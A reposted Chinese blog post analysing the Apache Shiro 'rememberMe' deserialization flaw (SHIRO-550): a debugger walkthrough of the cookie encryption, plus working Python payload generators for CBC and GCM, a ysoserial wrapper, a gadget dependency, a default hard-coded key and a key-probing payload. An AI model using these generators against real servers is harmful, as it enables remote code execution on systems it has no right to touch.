Shiro反序列化漏洞分析和檢測利用


前言

漏洞公告:https://issues.apache.org/jira/browse/SHIRO-550

這是個16年的漏洞,直到最近兩年才有了公開利用。官方的漏洞公告說的很明白,漏洞位置在Cookie中的RememberMe字段,功能本是用來序列化,加密,編碼后保存用戶身份的,當收到未驗證身份的請求時,Shiro將會對RememberMe解碼,解密,反序列化以讀取用戶身份,問題出在Shiro本身將加解密的Key硬編碼到源代碼中,這就導致了可以構造惡意數據導致反序列化漏洞。

環境

添加jstl和standard包,使用官方的sample起一個shiro實例

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4

https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

        <!-- https://mvnrepository.com/artifact/javax.servlet/jstl -->
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>jstl</artifactId>
            <version>1.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/taglibs/standard -->
        <dependency>
            <groupId>taglibs</groupId>
            <artifactId>standard</artifactId>
            <version>1.1.2</version>
        </dependency>

對源碼概覽一下,很容易發現問題核心點,即硬編碼Key的位置

image-20210510104249927

通過漏洞原理,首先尋找程序本身登錄成功后序列化用戶信息的過程。

序列化和加密

登錄,對登錄成功后的操作方法打斷點

image-20210510101236714

只有在選擇了記住我后,Shiro才會對用戶信息進行序列化操作。

image-20210510110417230

跟進forgetIdentity方法,跳到了shiro-web.jar

image-20210510111251102

image-20210510111339228

傳遞進去了requestresponse

image-20210510111542905

這里加了一個Cookie,就是用來做Shiro指紋的Set-Cookie: rememberMe=deleteMe;

當然這里流程是登錄成功后執行的方法,實際上這個添加Cookie的方法在登陸失敗時也有,所以可做成指紋。

image-20210510111938139

回到主要方法上,做了一個簡簡單單的判斷

image-20210510112333026

跟進rememberIdentity方法

image-20210510112419196

image-20210510112644562

將用戶名序列化,加密

image-20210510112743556

跟進加密方法

image-20210510143255999

看一下cipherService對象

image-20210510143334768

跟進getEncryptionCipherKey方法

image-20210510143602064

這個變量在斷點之前已經被設置過了,就是key值base64解碼后的結果

image-20210510143704656

image-20210510143716254

回到上邊,跟進encrypt方法

image-20210510143817085

生成IV值

image-20210510144227417

給到下一步加密方法

image-20210510144457525

固定算法

image-20210510144616765

一路return回去,進入rememberSerializedIdentity方法

image-20210510144847906

subject對象和序列化加密后的身份信息,經過base64編碼放到了Cookie

image-20210510145236548

至此加密過程就完了,HTTP流量中服務器會把處理過的身份信息設置為rememberMe的Cookie。

image-20210510145356430

解密和反序列化

根據Shiro的變量命名和業務流程,斷點打到org.apache.shiro.mgt.AbstractRememberMeManagergetRememberedPrincipals方法

image-20210510151009801

跟進getRememberedSerializedIdentity,讀取之前處理過的Cookie

image-20210510154749951

對base64補全

image-20210510160242701

返回base64解碼后的字節碼

image-20210510160318955

返回根據convertBytesToPrincipals

image-20210510160504764

跟進

image-20210510160624308

這里帶着數據和Key,跟進decrypt

image-20210510161355930

品一下這個流程,iv的長度是固定的,也就是16位

image-20210510161437679

將源數據的前16位給到了iv,后邊的給到了encrypted,帶着key,繼續跟進

image-20210510161644474

這里的mode硬編碼為2

image-20210510161841823

initNewCipher就是原生的Cipher.init方法了,利用key解密原始數據

return后,就到了反序列化操作

image-20210510162339640

跟進

image-20210510162439353

繼續跟進

這里就到了原生的反序列化了

image-20210510162624246

image-20210510162542896

至此反序列化鏈條結束。

POC

加密流程

  1. 獲取加密算法:AES/CBC/PKCS5Padding
  2. 隨機生成IV
  3. 讀取硬編碼的Key
  4. 使用以上三者生成密文
  5. base64編碼,放到Cookie的rememberMe

解密流程

  1. 讀取Cookie中的rememberMe
  2. base64補全后解密
  3. IV和數據都從解密后的原數據獲取
  4. 獲取硬編碼Key
  5. 利用Key,IV,固定算法對數據解密
  6. 將解密后的數據反序列化

可以看到,IV是根據原數據生成的,同時key又是硬編碼,這就導致我們可以反序列化任意對象。

POC生成流程

  1. 生成反序列化數據
  2. 隨機生成16位的IV
  3. AES/MODE_CBC
  4. 用硬編碼的Key和IV對數據加密
  5. base64加密拼接后的IV和密文

由於Padding Oracle Attack,Shiro從1.4.2開始使用GCM算法,這兩種算法用python都可以實現

def GCMCipher(key, file_body):
    iv = os.urandom(16)
    cipher = AES.new(base64.b64decode(key), AES.MODE_GCM, iv)
    ciphertext, tag = cipher.encrypt_and_digest(file_body)
    ciphertext = ciphertext + tag
    base64_ciphertext = base64.b64encode(iv + ciphertext)
    return base64_ciphertext


def CBCCipher(key, file_body):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    file_body = pad(file_body)
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

也可以借助ysoserial利用

def generator(fp, plugin, key, command):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, plugin, command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

利用需要有利用鏈,可以加一個maven

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

image-20210510173429854

進階檢測

利用Shiro550最關鍵的就是獲取Key值,之前的檢測方法基本都是配合URLDNS或者CC盲打,直到l1nk3r師傅發現了一種快速的檢測Key方法。

當Key錯誤或者正常訪問時,Shiro會返回一個Set-Cookie: rememberMe=deleteMe,跟一下這個操作

回到最初的入口getRememberedPrincipals,跟進到decrypt

image-20210510174546779

一直跟到crypt解密錯誤

image-20210510175244602

image-20210510175329021

步入失敗方法

image-20210510175359903

image-20210510175418648

又來到了forgetIdentity,上邊已經走過,這里是增加rememberMe=deleteMe頭的

image-20210510175521857

讓我們回到反序列化時的關鍵操作

image-20210510180032387

這里我們反序列化的gadget實際上並不是繼承於PrincipalCollection,這里會出現強制類型轉換報錯

image-20210510180226741

雖然彈出了計算器,但是和上邊一樣,同樣會由於錯誤而走到增加rememberMe=deleteMe頭,我們需要一個繼承於PrincipalCollection的類,並且key正確時不額外增加頭。

於是便找到了SimplePrincipalCollection

image-20210510180755558

空類即可

SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("payload"));
obj.writeObject(simplePrincipalCollection);
obj.close();

Key正確時

image-20210510182016354

Key錯誤時

image-20210510182054408

上文SimplePrincipalCollection空類的base64

rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==

可用上文的CBCCipher方法生成檢測Payload

print(CBCCipher('kPH+bIxk5D2deZiIxcaaaA==', base64.b64decode(payload)).decode())


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM